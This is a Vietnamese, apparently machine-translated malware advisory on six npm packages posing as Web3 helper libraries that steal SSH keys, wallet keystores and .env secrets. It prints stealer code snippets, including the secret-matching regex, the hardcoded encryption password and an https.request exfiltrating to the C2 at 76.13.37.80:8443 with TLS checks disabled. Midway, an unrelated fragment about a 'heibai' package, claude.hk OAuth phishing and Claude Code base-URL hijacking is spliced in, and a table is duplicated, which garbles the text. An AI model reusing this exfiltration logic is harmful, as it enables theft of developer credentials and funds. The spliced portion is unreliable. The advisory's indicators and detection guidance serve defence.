TL; DR
Vào ngày 6 tháng 5 năm 2026, một nhà xuất bản npm duy nhất, namikazesarada010206Đã phát tán sáu gói phần mềm độc hại nhắm vào hệ sinh thái phát triển Ethereum, Solidity và DeFi.
Các gói hàng, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsvà web3-utils-core, sử dụng những cái tên nghe có vẻ hợp lý, được thiết kế để trông giống như các thư viện hỗ trợ cho các công cụ Web3 phổ biến.
Cả sáu gói hàng đều chứa cùng một thứ. telemetry.js tập tin. Tập tin này giống hệt nhau về mặt byte trên toàn bộ cụm máy chủ, với mã SHA-256:
Phần mềm độc hại không được thực thi trong quá trình cài đặt. Không có preinstall or postinstall Thay vào đó, nó được kích hoạt khi gói được nhập thông qua hook. require().
Chi tiết đó rất quan trọng.
Phần mềm cấy ghép sẽ chờ đến khi nhà phát triển thực sự sử dụng gói phần mềm. Sau đó, nó kiểm tra xem máy trạm có giống với môi trường phát triển Ethereum/Solidity thực sự hay không. Nó tìm kiếm các khóa Alchemy hoặc Infura, khóa riêng tư, cụm từ ghi nhớ, khóa triển khai hoặc thư mục Foundry cục bộ.
Nếu máy chủ trùng khớp, phần mềm đánh cắp sẽ thu thập các khóa riêng SSH, kho khóa ví Foundry/Geth/Brownie. .env* Các tập tin và các biến môi trường nhạy cảm. Nó mã hóa gói dữ liệu bằng AES-256-GCM sử dụng mật khẩu được mã hóa cứng và chuyển nó đến điểm cuối C2 IPv4 thô với xác thực TLS bị vô hiệu hóa.
Hệ thống Cảnh báo sớm phần mềm độc hại (MEW) của Xygeni đã xác nhận cả sáu gói đều là độc hại. Báo cáo gỡ bỏ gói phần mềm từ kho lưu trữ npm đang chờ xử lý.
Cụm sản phẩm: Sáu gói phần mềm, một nhà xuất bản
Tài khoản nhà xuất bản namikazesarada010206 được liên kết với địa chỉ Gmail chưa được xác minh. namikazesarada010206@gmail.com.
Chiến dịch này xuất hiện dưới dạng một đợt phát hành duy nhất trong một ngày vào ngày 6 tháng 5 năm 2026. Tất cả sáu gói sản phẩm đều được đánh số phiên bản như sau: 1.0.0, không có bất kỳ phụ thuộc nào trong quá trình chạy và chỉ cung cấp ba tệp:
package.json index.js telemetry.js Họ cũng công bố cùng một kho lưu trữ mã nguồn:
https://github.com/harunosakura030303-maker/evmchain-config Ba gói đầu tiên đã bị trình quét MEW phát hiện ngay khi xuất bản lần đầu. Ba gói còn lại bị gắn cờ bắt buộc sau khi nhà phân tích xem xét hồ sơ npm của nhà xuất bản. Khi cùng một byte giống hệt nhau... telemetry.js Các sự cố này đã được xác nhận trên toàn cụm máy chủ và chúng đã được đóng lại vì được coi là độc hại dựa trên tính nhất quán.
| Bưu kiện | phiên bản | npm Đã xuất bản | Vé MEW | Phán quyết |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Độc hại |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Độc hại |
| tiện ích lõi cứng | 1.0.0 | 2026-05-06 | #51051 | Độc hại |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Ác ý, do tính nhất quán |
| công cụ xưởng đúc | 1.0.0 | 2026-05-06 | #51071 | Ác ý, do tính nhất quán |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Ác ý, do tính nhất quán |
Chiến lược đặt tên này đơn giản nhưng hiệu quả.
Các gói này không giả mạo chính xác tên nguồn gốc. Thay vào đó, chúng sử dụng các hậu tố "tiện ích" hợp lý như... -core, -utilsvà -utils-coreĐiều đó khiến chúng trông giống như các thư viện bổ trợ mà nhà phát triển có thể mong đợi thấy bên cạnh các công cụ Web3.
| Gói hàng độc hại | Mục tiêu hợp pháp |
|---|---|
| viem-core | viem, một thư viện TypeScript phổ biến cho Ethereum. |
| viem-utils-core | viem |
| tiện ích lõi cứng | hardhat, một môi trường phát triển Solidity phổ biến. |
| evm-utils | Không gian tên công cụ EVM chung |
| công cụ xưởng đúc | foundry, một chuỗi công cụ Solidity |
| web3-utils-core | web3-utils, các công cụ hỗ trợ Web3.js |
Đây là kiểu mẫu "gói bổ sung": không phải "Tôi là gói chính", mà là "Tôi trông giống như một người trợ giúp hợp lý xung quanh gói chính".
Đối với các nhà phát triển DeFi đang hoạt động nhanh chóng, điều đó đủ để tạo ra rủi ro.
Điều gì xảy ra khi gói hàng được nhập khẩu?
Chuỗi tấn công này nhỏ, được thực hiện có chủ đích và tập trung vào môi trường phát triển mật mã.
Không có móc cài đặt. Thay vào đó, mỗi gói bao gồm một index.js Nó xuất ra chức năng giả lập rồi tải mô-đun đo lường từ xa độc hại.
require('./telemetry').init(); Điều này có nghĩa là phần mềm độc hại sẽ được kích hoạt ngay khi nhập dữ liệu lần đầu.
Điều đó có lợi về mặt vận hành cho kẻ tấn công. Nhiều công cụ quét và hộp cát tập trung vào hành vi trong quá trình cài đặt. Gói này chờ đến khi nó thực sự được sử dụng bởi nhà phát triển, tập lệnh xây dựng, bộ kiểm thử hoặc đường dẫn thời gian chạy.
Cổng kích hoạt: Chỉ kích hoạt trên các máy trạm phát triển Web3 thực sự
Phần quan trọng nhất của thiết bị cấy ghép là cổng kích hoạt.
Phần mềm độc hại kiểm tra các biến môi trường thường thấy trên máy tính của nhà phát triển Ethereum/Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Nó cũng kiểm tra xem Foundry có được cài đặt hay không:
fs.existsSync(path.join(os.homedir(), '.foundry')) Nếu cả hai điều kiện đều không đúng, hàm sẽ trả về và không làm gì cả.
Điều đó giúp gói phần mềm hoạt động êm hơn trong các môi trường phân tích thông thường. Một môi trường thử nghiệm (sandbox) không có Foundry, khóa Alchemy, khóa Infura, khóa riêng tư hoặc cụm từ ghi nhớ có thể thấy một gói nhập khẩu trông có vẻ vô hại.
Trên máy chủ phù hợp, phần mềm độc hại chờ từ 60 đến 90 giây trước khi thu thập dữ liệu:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Sự chậm trễ làm giảm mối tương quan rõ ràng giữa nhập khẩu và xuất khẩu. .unref() Lệnh này cũng cho phép tiến trình máy chủ thoát bình thường nếu gói được nhập trong một tập lệnh có thời gian chạy ngắn.
Đây không phải là hành vi cướp giật ồn ào. Đây là một hành vi đánh cắp có chủ đích, được thiết kế để tránh hoạt động trừ khi môi trường phát triển có giá trị đáng để đánh cắp.
Những thứ mà tên trộm thu thập được
Sau khi vượt qua bước kích hoạt, phần mềm độc hại sẽ thu thập thông tin từ các nguồn quan trọng nhất trong quá trình phát triển Web3: khóa riêng tư, kho khóa ví, thông tin xác thực triển khai, bí mật đám mây, mã thông báo npm và cấu hình dự án cục bộ.
| nguồn | Những gì được thu thập |
|---|---|
| quy trình.env | Bất kỳ biến nào khớp với /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Các tập tin chứa PRIVATE KEY hoặc BEGIN OPENSSH, bao gồm toàn bộ nội dung tập tin. |
| ~/.foundry/keystores/* | Tệp kho khóa ví Foundry |
| ~/.ethereum/keystore/* | Tệp kho khóa ví Geth |
| ~/.brownie/accounts/* | Tệp kho khóa ví Brownie |
| ${cwd}/.env | Nội dung đầy đủ của tệp |
| ${cwd}/.env.local | Nội dung đầy đủ của tệp |
| ${cwd}/.env.production | Nội dung đầy đủ của tệp |
| ${cwd}/.env.development | Nội dung đầy đủ của tệp |
| os.hostname() | Siêu dữ liệu máy chủ |
| crypto.randomUUID () | Mã định danh nạn nhân/phiên |
| Date.now () | Dấu thời gian thu thập |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Các token ATTA là:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Chúng tôi chưa thể xác nhận liệu dữ liệu đo từ xa đó là dữ liệu phân tích của chính nhà mạng hay là một kênh kiếm tiền riêng biệt. Mã thông báo ATTA giống nhau trong cả hai mẫu mà chúng tôi đã kiểm tra.
Cụm B: heibai
claude.hk Lừa đảo xác thực OAuth + Chiếm đoạt URL ANTHROPIC_BASE_URL
Mẫu thu thập ngày 1 tháng 4 là mẫu thô hơn, được lấy sớm hơn trong chiến dịch này.
heibai:2.1.88-claude.hk-4 được xuất bản bởi wuguoqiangvip28, một tài khoản được tạo vào ngày 7 tháng 6 năm 2025. Gói phần mềm này đã tự đánh số phiên bản dựa trên phiên bản hợp lệ. 2.1.88 Sự giải phóng do con người gây ra.
Nó không bận tâm đến tấn công MITM bằng chứng chỉ CA. Thay vào đó, nó đánh lừa người dùng về điểm cuối OAuth.
Các nội dung độc hại được thêm vào mã nguồn Claude Code bị rò rỉ bao gồm:
| nguồn | Những gì được thu thập |
|---|---|
| quy trình.env | Bất kỳ biến nào khớp với /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Các tập tin chứa PRIVATE KEY hoặc BEGIN OPENSSH, bao gồm toàn bộ nội dung tập tin. |
| ~/.foundry/keystores/* | Tệp kho khóa ví Foundry |
| ~/.ethereum/keystore/* | Tệp kho khóa ví Geth |
| ~/.brownie/accounts/* | Tệp kho khóa ví Brownie |
| ${cwd}/.env | Nội dung đầy đủ của tệp |
| ${cwd}/.env.local | Nội dung đầy đủ của tệp |
| ${cwd}/.env.production | Nội dung đầy đủ của tệp |
| ${cwd}/.env.development | Nội dung đầy đủ của tệp |
| os.hostname() | Siêu dữ liệu máy chủ |
| crypto.randomUUID () | Mã định danh nạn nhân/phiên |
| Date.now () | Dấu thời gian thu thập |
Danh sách mục tiêu rất cụ thể. Đây không phải là hành vi đánh cắp trình duyệt chung chung hay thu thập thông tin đăng nhập tràn lan. Nó nhắm vào các nhà phát triển xây dựng, kiểm thử, triển khai hoặc vận hành các ứng dụng Ethereum.
Việc bao gồm các kho khóa Foundry, Geth và Brownie là đặc biệt quan trọng. Các tệp này có thể đại diện cho quyền truy cập trực tiếp vào ví hoặc danh tính triển khai. Nếu kẻ tấn công có thể ghép chúng với mật khẩu, cụm từ ghi nhớ hoặc bí mật môi trường, chúng có thể chuyển tiền, mạo danh người triển khai hoặc xâm phạm hoạt động của hợp đồng thông minh.
Mã hóa trước khi trích xuất dữ liệu
Phần mềm độc hại mã hóa dữ liệu đã thu thập trước khi gửi đi.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Mật khẩu được mã hóa cứng là:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Dữ liệu cuối cùng được đóng gói dưới dạng JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Mã hóa tự nó không làm cho phần mềm độc hại trở nên tinh vi hơn. Tuy nhiên, nó làm cho việc kiểm tra mạng trở nên khó khăn hơn. Người phòng thủ theo dõi lưu lượng truy cập ra ngoài sẽ thấy dữ liệu JSON, nhưng không thấy các khóa bị đánh cắp, tệp ví điện tử, hoặc các tệp khác. .env Nội dung không bao gồm mật khẩu cố định và logic giải mã.
Rò rỉ dữ liệu đến máy chủ C2 IPv4 thô.
Đường dẫn thoát dữ liệu được mã hóa cứng:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Phần mềm độc hại gửi dữ liệu đến:
https://76.13.37.80:8443/api/v1/telemetry Có hai chi tiết nổi bật.
Thứ nhất, C2 là một địa chỉ IPv4 thô chứ không phải là một tên miền. Điều này loại bỏ nhu cầu đăng ký tên miền và tránh được một số phát hiện dựa trên tên miền.
Thứ hai, quá trình xác thực TLS bị vô hiệu hóa với:
rejectUnauthorized: false Điều đó cho phép phần mềm độc hại chấp nhận bất kỳ chứng chỉ nào, bao gồm cả chứng chỉ tự ký. Nói cách khác, kẻ tấn công có được đường truyền mã hóa mà không cần chứng chỉ công khai hợp lệ.
Không có logic thử lại và không có máy chủ dự phòng. Các lỗi được bỏ qua một cách âm thầm. Điều này giúp gói tin hoạt động bình thường nếu máy chủ C2 ngoại tuyến hoặc không thể truy cập được.
Tại sao chiến dịch này quan trọng
Hầu hết các gói npm độc hại nhắm vào nhà phát triển đều nhắm mục tiêu vào các chứng chỉ xác thực phổ biến: mã thông báo npm, khóa AWS, mã thông báo GitHub, hoặc .npmrc các tập tin.
Chiến dịch này thu hẹp đối tượng mục tiêu.
Nó tìm kiếm các dấu hiệu cho thấy máy đó thuộc về một nhà phát triển Ethereum hoặc Solidity. Sau đó, nó sẽ lấy chính xác các tài sản quan trọng trong môi trường đó: kho khóa ví, khóa riêng tư, cụm từ ghi nhớ, khóa triển khai, v.v. .env các tập tin và khóa SSH.
Điều đó khiến chiến dịch này nguy hiểm hơn đối với các nhóm Web3 so với một kẻ đánh cắp npm thông thường.
Một ca nhiễm trùng thành công có thể bộc lộ:
- Ví triển khai
- khóa quản trị hợp đồng thông minh
- khóa nhà cung cấp RPC
- Thông tin xác thực triển khai đám mây
- npm xuất bản token
- Truy cập SSH vào cơ sở hạ tầng phát triển hoặc xây dựng.
- Các bí mật dự án được lưu trữ trong
.envcác tập tin - Kho lưu trữ khóa ví cho Foundry, Geth hoặc Brownie.
Tên các gói phần mềm cũng cho thấy rõ ràng kỹ thuật thao túng tâm lý. Chúng nhắm mục tiêu vào hệ sinh thái nhà phát triển Web3 thông qua các tên công cụ quen thuộc: viem, hardhat, foundry, evmvà web3.
Diễn viên không cần phải thỏa hiệp với các dự án thực tế. Họ chỉ cần một nhà phát triển cài đặt một gói phần mềm bổ trợ có vẻ hợp lý.
Các dấu hiệu của sự xâm phạm và phát hiện
| Gói phần mềm và nhà xuất bản | |
|---|---|
| Phần | Giá trị |
| npm publisher | namikazesarada010206 |
| Email của nhà xuất bản | namikazesarada010206@gmail.com |
| email đã kích hoạt | Không |
| SCM xác minh | Không |
| Điểm danh tiếng | 1.0 |
| Gói | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, Foundry-utils, web3-utils-core |
| Các phiên bản | Tất cả 1.0.0 |
| Kho lưu trữ nguồn | https://github.com/harunosakura030303-maker/evmchain-config |
| Đã xác nhận là độc hại | Tất cả sáu gói |
| mạng | |
|---|---|
| Kiểu | Giá trị |
| Điểm cuối C2 | https://76.13.37.80:8443/api/v1/telemetry |
| IP C2 | 76.13.37.80 |
| Cổng C2 | 8443 / tcp |
| Hành vi TLS | rejectUnauthorized: false |
| Sơ đồ tải trọng | {"v":2,"iv": "d": "t": } |
| Tệp và mã băm | |
|---|---|
| Kiểu | Giá trị |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Bố cục gói | package.json, index.js, telemetry.js |
| Số lượng tập tin | 3 |
| Kích thước tổng thể ước tính | 3.4 KB |
Tín hiệu kích hoạt
Phần mềm độc hại kiểm tra các biến môi trường sau:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Nó cũng kiểm tra:
~/.foundry/ Đường dẫn máy chủ mục tiêu
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Biểu thức chính quy thu thập
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Ghi chú phát hiện
Một số quy tắc có thể áp dụng cho chiến dịch này mà không cần phân tích hành vi đầy đủ.
Đầu tiên, hãy quét các tập tin khóa để tìm sáu tên gói phần mềm độc hại:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Bất kỳ trận đấu nào trong package-lock.json, yarn.lock, pnpm-lock.yaml, hoặc là node_modules Lịch sử cần được xem như một sự kiện nghiêm trọng.
Thứ hai, theo dõi các tiến trình Node.js đọc đường dẫn kho khóa ví:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Đây hiếm khi là hành vi hợp lệ đối với một gói được nhập khẩu như một phụ thuộc hỗ trợ. Điều này đặc biệt đáng ngờ khi theo sau đó là hoạt động mạng hướng ra ngoài.
Thứ ba, chặn hoặc cảnh báo trên các kết nối HTTPS tới:
76.13.37.80:8443 Đặc biệt khi đường dẫn yêu cầu là:
/api/v1/telemetry Thứ tư, hãy tìm kiếm các gói npm kết hợp những đặc điểm này:
- Nhà xuất bản mới hoặc có danh tiếng thấp
- Tài khoản Gmail chưa được xác minh
- Tên gói liền kề Web3
- Không có lịch sử kho lưu trữ có ý nghĩa
- Bố cục gói nhỏ
index.jstải tệp đo từ xa hoặc tệp hỗ trợ- Không có phụ thuộc thời gian chạy
- Thu thập biến môi trường nhạy cảm
- Truy cập kho khóa ví
Mô hình này hữu ích hơn một chỉ báo xâm nhập (IOC) đơn lẻ vì gói tin tiếp theo có thể thay đổi địa chỉ IP nhưng vẫn giữ nguyên logic nhắm mục tiêu.
Danh sách kiểm tra phản ứng thỏa hiệp
Nếu một nhà phát triển sử dụng một trong sáu gói phần mềm và môi trường của họ khớp với cổng kích hoạt, hãy coi máy trạm đó là đã bị xâm nhập.
Điều đó bao gồm các máy có cài đặt Foundry, khóa Alchemy hoặc Infura trong môi trường, khóa riêng tư, cụm từ ghi nhớ hoặc khóa triển khai.
Câu trả lời được đề xuất:
- Ngắt kết nối máy chủ khỏi mạng.
- Bảo quản
node_modulesCác tập tin khóa, lịch sử lệnh shell và nhật ký liên quan phục vụ cho việc điều tra pháp y. - Xoay vòng mọi cặp khóa SSH dưới
~/.ssh/. - Xoay vòng các khóa ví cho mỗi kho khóa bên dưới
~/.foundry,~/.ethereumvà~/.brownie. - Chuyển tiền sang ví mới.
- Xoay vòng mọi bí mật được lưu trữ trong
.env*các tệp trong kho lưu trữ mà nhà phát triển đã làm việc. - Xoay vòng các thông tin bí mật môi trường khớp với biểu thức chính quy của bộ sưu tập, bao gồm khóa AWS, mã thông báo npm, mã thông báo triển khai, khóa API, khóa riêng tư, seed và mnemonics.
- Kiểm tra nhật ký hoạt động của cloud, npm, GitHub, nhà cung cấp RPC và blockchain kể từ khi gói phần mềm được cài đặt lần đầu.
- Cài đặt lại hệ điều hành cho máy trạm trước khi sử dụng lại.
Những điều mà các hậu vệ nên ghi nhớ
Chiến dịch này cho thấy cách thức chiếm đoạt mã nguồn npm đang phát triển xung quanh các hệ sinh thái nhà phát triển có giá trị cao.
Diễn viên không cần sự kiên trì. Họ không cần che giấu mã nguồn. Họ thậm chí không cần thực thi trong quá trình cài đặt.
Thay vào đó, họ dựa vào ba điều:
- Tên gói Web3 khả thi
- Chỉ kích hoạt trên các máy phát triển tiền điện tử thực sự.
- Hành vi đánh cắp trực tiếp các tập tin và bí mật quan trọng nhất đối với các nhà phát triển Ethereum.
Điều đó khiến chiến dịch dễ bị bỏ sót khi chỉ cần quét qua loa và trở nên nguy hiểm khi nó xuất hiện trong môi trường phù hợp.
Đối với các nhóm phát triển Web3, bài học rất rõ ràng: hãy coi tên các gói phụ thuộc như một phần của mô hình phân tích mối đe dọa. Một gói trông có vẻ vô hại vẫn có thể trở thành con đường ngắn nhất dẫn đến việc bị xâm phạm ví điện tử.
Đã báo cáo lên kho lưu trữ npm. Chúng tôi sẽ cập nhật bài đăng này khi tài khoản nhà xuất bản và các gói được gỡ bỏ.




